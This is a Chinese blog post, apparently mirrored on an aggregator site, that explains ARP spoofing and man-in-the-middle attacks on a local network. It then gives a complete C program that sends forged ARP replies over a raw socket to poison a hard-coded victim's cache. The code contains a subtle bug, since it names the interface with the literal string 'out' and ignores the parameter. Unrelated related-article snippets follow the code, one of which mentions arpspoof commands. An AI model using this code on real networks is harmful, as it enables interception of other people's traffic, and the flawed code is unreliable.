ARP攻击代码(ARP欺骗)

2023-05-16

一、ARP攻击

ARP欺骗攻击原理:
ARP欺骗攻击建立在局域网主机间相互信任的基础上的。
比如:假设A、B、C在同一个局域网中,网关为192.168.43.1,IP地址和MAC地址分别假设如下。假设C是攻击者。
在这里插入图片描述
当A发广播询问:我是192.168.43.2,硬件地址macA,我想知道主机IP是192.168.43.3的硬件地址。
此时B回应:我是192.168.43.3,硬件地址是macB。
如果此时IP地址是192.168.43.4的C非法回应:我是IP192.168.43.3,我的硬件地址是macC。
这样A就会收到两个ARP回应包,由于ARP遵循后到优先规则,所以如果C持续不停发出ARP欺骗包,就一定能够覆盖掉正常的ARP回应包(也称为ARP毒化)。然后A就会误信192.168.43.3的硬件地址是macC。这样当主机A向主机B发送数据时,主机C就劫持了主机A发送给主机B的数据,这就是ARP欺骗的过程。
相反,如果主机B向主机A发送数据,主机C依然可以以同样的ARP欺骗,劫持主机B发送给主机A的数据,这样就形成了“中间人攻击”。
还有一种ARP欺骗的方法:主机C直接冒充网关,此时主机C会不停的发送ARP欺骗广播,大声说:我是192.168.43.1,硬件地址是macC。此时局域网内所有主机都会被欺骗,更改自己的缓存表,C将会监听到整个局域网发送给互联网的数据报。

ARP攻击分类:

1、ARP泛洪攻击
通过向网关发送大量ARP报文,导致网关无法正常响应。首先发送大量的ARP请求报文,然后又发送大量虚假的ARP响应报文,从而造成网关部分的CPU利用率上升难以响应正常服务请求,而且网关还会被错误的ARP表充满导致无法更新维护正常ARP表,消耗网络带宽资源。

2、ARP欺骗主机的攻击
攻击者通过ARP欺骗冒充网关,使得局域网内被攻击主机发送给网关的流量信息实际上都发送给攻击者。

3、欺骗网关的攻击
把别的主机发送给网关的数据通过欺骗网关的形式使得这些数据通过网关发送给攻击者。这种攻击目标选择的不是个人主机而是局域网的网关,这样就会攻击者源源不断的获取局域网内其他用户数据。

4、中间人攻击
最典型的攻击之一,中间人攻击是同时欺骗局域网内的主机和网关,局域网中用户的数据和网关的数据会发给同一个攻击者,这样,用户与网关的数据就会泄露。

5、IP地址冲突攻击
通过对局域网中的物理主机进行扫描,扫描出局域网中的物理主机的MAC地址,然后根据物理主机的MAC进行攻击,导致局域网内的主机产生IP地址冲突,影响用户的网络正常使用。

二、编程实现

在这里插入图片描述

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ether.h>
#include <pthread.h>
#include <sys/ioctl.h>			//ioctl头文件
#include <net/if.h>				//struct ifreq头文件
#include <netpacket/packet.h>	//struct sockaddr_ll头文件
#include <unistd.h>				//_exit头文件


/*
参数说明:
sockfd:原始套接字
out:指定的网卡名称
msg:发送的消息(封装好的数字协议)
msg_len:长度
*/
void my_sendto(int sockfd, char *out, unsigned char *msg, int msg_len)
{
	//通过ioctl得到网络接口
	struct ifreq ethreq;
	strncpy(ethreq.ifr_name, "out", 16);
	if( -1 == ioctl(sockfd, SIOCGIFINDEX, &ethreq))
	{
		perror("ioctl");
		close(sockfd);
		_exit(-1);
	}
	
	
	//帧数据出去的本地接口
	struct sockaddr_ll sll;
	bzero(&sll, sizeof(sll));
	sll.sll_ifindex = ethreq.ifr_ifindex;
	
	//2.发送组好报文的帧数据
	sendto(sockfd, msg, msg_len, 0, (struct sockaddr *)&sll, sizeof(sll));
}

int main()
{
	//1.创建原始套接字
	int sockfd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
	if(sockfd <0)
	{
		perror("socket");
		return 0;
	}
	
	//msg存放arp应答报文
	unsigned char msg[]={
		/*mac头部(14个字节)*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,	 /*目的mac地址(xp的mac))*/
		0x00,0x00,0x00,0x00,0x00,0x00,	 /*源mac地址(伪装的mac)*/
		0x08,0x06,						 /*帧类型*/
		
		/*ARP报文头部(28个字节)*/
		0x00,0x01,						 /*硬件类型*/	
		0x08,0x00,						 /*协议类型*/
		6,								 /*硬件地址长度*/
		4,								 /*协议地址长度*/
		0x00,0x02,						 /*ARP应答*/
		0x00,0x00,0x00,0x00,0x00,0x00,	 /*源ac地址(伪装的mac)*/
		192,168,0,111,				     /*源IP(ubuntu的IP地址)*/
		0x70,0x5A,0x0F,0x63,0xF5,0x9D,	 /*目的mac地址(XP的mac)*/
		192,168,0,110	 			 	 /*目的IP*/
	};
	

	//发送arp应答帧数据
	int i=0;
	for(i=1;i<20;i++)
	{
		my_sendto(sockfd, "eth0", msg, 42);		//14(mac头部长度)+28(ARP报文头部长度)=42
		sleep(1);								//arp表更新速度快,每个1S发一次保持欺骗
	}
	
	//关闭原始套接字
	close(sockfd);
	
	return 0;
}
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ARP攻击代码(ARP欺骗) 的相关文章

  • Linux使用原始套接字从链路层开始封包组包(ARP请求与应答)

    数组方式封包 span class token macro property span class token directive hash span span class token directive keyword include s
  • 修改数据包欺骗服务器,关于arp欺骗修改数据包

    2013 8 21 11 06 Wednesday关于arp欺骗修改数据包 事情是这样的 现在有一款XO软件运行在好多个客户端上 xff0c 客户端会不定时向服务端提交数据 xff0c 走http协议 xff0c POST提交 比如提交的地
  • Linux上ARP表,路由表的解释

    为厘清数据在网络中的传输流向和具体的实现过程 xff0c 现对ARP表 xff0c 路由表进行学习如下 ARP xff08 Address Resolution Protocol xff09 地址解析协议 IP数据包经常通过以太网进行发送
  • 思科arp欺骗攻击,cdp攻击,DHCP攻击实验命令笔记

    目录 Kali主机扫描 双向攻击 Cdp攻击防护 Stp攻击防护 Kali主机扫描 fping s r 2 g 192 168 1 0 24 扫描网段内存活的主机 arping 192 168 1 1 探测主机是否存活 双向攻击 Arpso
  • 深夜没事,抓个ARP包吧!

    深夜没事 xff0c 抓个ARP包吧 xff01 ipconfig查看网卡信息 选择en33这个网卡 xff0c 发送两次 xff0c 询问192 168 21 1的mac地址 xff0c 注意 xff1a ARP请求只能在同一子网内部进行
  • 【笔记】openwrt - full cone NAT(全锥NAT)、解决“arp_cache: neighbor table overflow!”

    最近安装了比特彗星 xff08 bitcomet xff09 后 xff0c 老是收到警告说日志的接收超过每秒上限了 一看日志 xff0c 好家伙 xff0c 一堆的kern info kernel 194004 157620 neighb
  • WinPcap实战(一)——发送ARP包

    ARP包的结构 ARP包格式 物理帧头 14B ARP帧结构 28B 填充数据 18B CRC 4B 这里给出一张图 图中没有18字节的填充数据和4字节的校验位 物理帧头 14B 目的MAC 6B 源MAC 6B 类型 2B ARP帧 0x
  • linux原始套接字-发送ARP报文

    linux原始套接字 可以直接发送和接收链路层和网络层的报文 对我们理解TCP IP协议栈有很多帮助 也可写出很多有趣的程序 下面的例子是向192 168 1 60的电脑 发送伪造的ARP报文 使其更新ARP表 导致无法PING通192 1
  • 地址解析协议 (ARP)

    地址解析协议 ARP 是互联网协议 IP 套件的关键第 2 层协议 可将 IP 地址转换为媒体访问控制 MAC 地址 IP MAC ARP 在实现网络连接方面发挥着不可或缺的作用 能够发现本地网络上设备的硬件地址并将其映射到其 IP 地址
  • 以太网ARP测试实验

    1 1 ARP测试整体框架 当上位机发送ARP请求时 FPGA返回ARP应答数据 当按下FPGA的触摸按键时 FPGA发送ARP请求 上位机返回ARP应答数据 PLL时钟对eth rxc的输入时钟进行相位调整 GMII TO RGMI 模块
  • ARP(地址解析协议)协议和RARP协议(逆地址解析协议)

    ARP协议 地址解析协议 及ARP 是根据IP地址获取物理地址的一个TCP IP协议 主机发送信息是将包含将包含目标IP地址的APR请求广播到局域网络上的所有主机 并接收返回消息 以此确定目标的物理地址 受到返回消息的时候将IP地址和物理地
  • Android 无需 root 即可访问 ARP 表

    最近在做一个Android项目 需要访问ARP表 要求之一是避免任何需要 root 设备的方法 所以 我的问题是 有没有办法在不root设备的情况下访问android中的ARP表 目前我发现大多数方法都使用 proc net arp 来访问
  • 如何在C#中获取外部IP的mac地址

    如何在C 中获取外部IP的mac地址 例如我想找到 204 13 153 34 的mac地址 任何想法和代码片段都受到高度赞赏吗 提前致谢 您应该阅读有关地址解析协议的内容 您无法确定不同网段中机器的 MAC 地址 如果机器恰好位于同一网段
  • Python:获取默认网关的MAC地址

    Python 有没有什么快速的方法来获取MAC地址 of the 默认网关 我什么也做不了ARP 请求来自Linux我正在运行代码的机器 所以它必须直接来自ARP表 以下 DevFS 文件将提供此信息 proc net arp proc n
  • Android API级别30,无法再从Android arp表获取wifi网络设备MAC地址

    我有一个小型网络扫描仪应用程序 它需要查找响应 ping 等的扫描设备的 MAC 地址 很快 Google 需要 targetSdkVersion 30 这意味着在没有响应的情况下无法再以任何方式访问 arp 表 没有权限 以前我用过 bu
  • 在 Linux 上嗅探数据包时过滤网络堆栈中的数据包?

    我有一个问题要问底层网络 Linux 专家 我必须为我大学的安全项目构建两个工具 第一个工具是 ARP 中毒攻击者 它会毒害远程主机的 ARP 缓存 以便检索他发送到另一台主机的数据 我使用原始套接字用 C 语言编写了这个工具 它工作得很好
  • 为什么 ARP 请求非本地地址?

    我有一个带有 2 个网卡的 Linux 虚拟服务器 eth0
  • 在 Linux 上使用 C++ 将 MAC 地址解析为 IP 地址

    我需要生成一个包含目标 MAC 地址的以太网标头 因为 libnfnetlink 在预路由发生之前仅提供 IP 标头 传出接口号也是已知的 因此可以在正确的网络中进行查找 从 IP 地址解析 MAC 地址的库 函数是什么 目前还不清楚为什么
  • 从MAC地址获取IP。 arp -a 不显示设备

    我正在尝试编写一个批处理文件 该文件应该在连接到网络 腾达 WiFi 路由器 时找到我的 Android 手机的动态分配的 IP 所以我正在尝试arp a并搜索我手机的 MAC 地址 以便我可以从表中获取其 IP C Users Leero
  • 在 Linux 2.6.21 (glibc 2.3.5) 上进行 ARP 和反向 ARP

    我需要在任意 IP 网络上存储对第三方设备的持久引用 其中设备的 IP 地址可能是静态的或由 DHCP 随机分配 我不控制网络上的设备 也不能依赖 DNS 和其他现有的或与设备一起使用的临时网络协议 所以我被指示使用硬件地址和 ARP 进行

随机推荐

  • C++ 内部类、嵌套类

    1 嵌套类 nested class 一个类可以定义在另一个类的内部 xff0c 前者称为嵌套类 xff0c 嵌套类时一个独立的类 xff0c 和外层类基本没什么关系 它通过提供新的类型类作用域来避免名称混乱 嵌套类必须声明在类的内部 xf
  • SONY VAIO P VPCP118KJ索尼酷袋本 鸡肋上网本初体验

    随着消费者市场需求的不断多样化和个性化 xff0c 个人电脑厂家开始不断突破创新 xff0c 在产品线拼装出各种各样的个人电脑 xff0c 主打性能的游戏本 xff0c 主打便携轻薄本 xff0c 2009年的CES上索大法推出了一款与众不
  • 第2课【CMSIS和标准库开发】标准库 CMSIS 分层

    目录 基本知识框架课堂笔记CMSISCMSIS的分层关系和作用CMSIS层文件结构内核函数层文件外设函数访问层文件 标准库开发标准库开发 LED GPIO标准库开发 KEY GPIO标准库开发 位带操作位带位带位带别名区位带区和位带别名区的
  • 第4课【STM32的时钟】时钟 时钟源 内外部时钟 高低速时钟

    目录 基本知识框架课堂笔记时钟什么是时钟 xff1f 时钟有什么作用 时钟源HSE 外部高速时钟HSI 内部高速时钟LSE 外部低速时钟LSI 内部低速时钟PLL锁相环 主要时钟和其他时钟主要时钟其他时钟 配置系统时钟实验 基本知识框架Xm
  • 第7课【SysTick定时器】中断 系统定时器 寄存器

    目录 基本知识框架课堂笔记SysTick定时器简介什么是SysTick定时器SysTick定时器的作用 SysTick寄存器CTRL控制及状态寄存器LOAD重装载数值寄存器VALUE当前数值寄存器CALIB校准数值寄存器 SysTick实战
  • 第8课【通讯的基本概念】串行并行 单工半双工全双工 同步异步 比特率波特率

    目录 基本知识框架课堂笔记通讯传送方式串行通讯并行通讯串行通讯与并行通讯的特性 通讯方向单工通讯半双工通讯全双工通讯 同步方式同步通讯异步通讯同步通讯与异步通讯的区别 传输单位比特率波特率比特率和波特率的联系 通讯简介通讯标准 基本知识框架
  • 嵌入式宏定义中do...while(0)的意义

    目录 背景do while 0 形式宏定义使得宏定义拥有一些函数的特点 分析1 封装 xff1a 使得宏定义可以包含复杂的内容而不容易出错 xff0c 提高代码健壮性2 生命周期 xff1a 宏定义内 外部定义的同名变量不会冲突3 返回 x
  • 第9课【USB协议】USB总线 接口 端点 管道 数据包 枚举 STM32_USB-FS-Device_Lib V4.1.0

    目录 简介背景特点版本 数据流模型总线拓扑结构主 从设备通信流端点管道 物理层接口类型USB Type AUSB Type BUSB Type C 引脚定义4PIN9PIN5PIN24PIN16PIN6PIN 电平标准 协议层 通讯方式通讯
  • 第10课【STM32 USB通讯协议实战】HID键盘+CDC虚拟串口组合设备

    目录 前言USB设备类别未定义设备设备描述符 配置描述符分析配置从机类型配置设备专用的描述符配置从机端点实现设备类特定请求 HID设备特点HID键盘描述符实例HID报文描述符短条目报文生成HID键盘报文描述符实例总结 CDC设备特点CDC
  • 创建 std_srvs::Empty 型 Service (参数为空的服务)

    参考 xff1a ros NodeHandle advertiseService API docs 1 包含头文件 include lt std srvs Empty h gt 2 创建服务 xff0c 并绑定服务的回调函数 restart
  • stm32串口+DMA环形缓冲收发保姆级

    基于HAL库的STM32串口DMA环形缓冲收发实例 首先在此感谢开源项目 xff0c 以及大佬们的无私奉献 xff0c 让每一个逐梦人能够免费学习 xff0c 再次感谢 xff01 发布只为记录 xff0c 记性不够 xff0c 笔记来凑
  • NX串口通讯windows

    我用windows与NX进行通讯 xff0c 用的线是CH340下载线 USB端连接windows xff0c 绿色的TXD连接NX的10号 RXD xff0c 白色的RXD连接NX的8号 TXD 目录 1 windows端 2 NX端 2
  • 串口接收 DMA FIFO 双缓冲区配置 + 单色OLED屏幕灰度图像显示的抖动算法

    适用于单色OLED屏幕图像显示的抖动算法 Visual studio c 43 43 STM32F4070 96寸单色IIC通信OLED5级灰度串口DMA 双缓冲github 抖动算法原理 DITHER抖动算法是指灰度可以用一定比例的黑白点
  • HTTP请求报文与响应报文

    一 HTTP的请求报文格式 xff1a HTTP的请求报文内容包括 xff1a 请求行 request line 请求头部 header 空行 和 请求数据 request data 四个部分组成 请求行主要包括 xff1a 请求方法 UR
  • c++中char转换为string类型

    写程序遇到一个Bug如下 xff1a char x 61 39 a 39 string str x 这里报错了 当时就有点蒙了 xff0c 查了下string的构造函数 xff1a string string const string am
  • C语言——内存管理问题

    常见的内存错误及解决方法 一 结构体成员指针未初始化 eg span class token macro property span class token directive hash span span class token dire
  • 大端存储和小端存储

    一 大端存储 高字节数据存储在低地址 二 小端存储 低字节数据存储在低地址 注意 xff1a 无论是大端存储还是小端存储 xff0c 读取到的数据为0x0102030405 三 大端存储或小端存储都是由系统设定的 xff0c 其二者区别在于
  • 多播的概念

    一 多播概述 多播 xff1a 数据的收发仅仅在同一组中进行 xff08 相当于我往一个群里发 xff0c 只有加入这个群的人才能收到 xff09 多播的特点 xff1a 多播地址标示一组接口 多播可以用于广域网使用 在IPv4 xff0c
  • 利用C语言编写一个网络分析器

    一 链路层数据格式 mac报文 xff1a 14个字节 二 IP数据报文格式 三 TCP数据报文格式 四 UDP数据报文格式 五 demo xff08 网络分析器 xff09 recvfrom接收链路层帧数据 xff0c 不经过网络层 传输
  • ARP攻击代码(ARP欺骗)

    一 ARP攻击 ARP欺骗攻击原理 xff1a ARP欺骗攻击建立在局域网主机间相互信任的基础上的 比如 xff1a 假设A B C在同一个局域网中 xff0c 网关为192 168 43 1 xff0c IP地址和MAC地址分别假设如下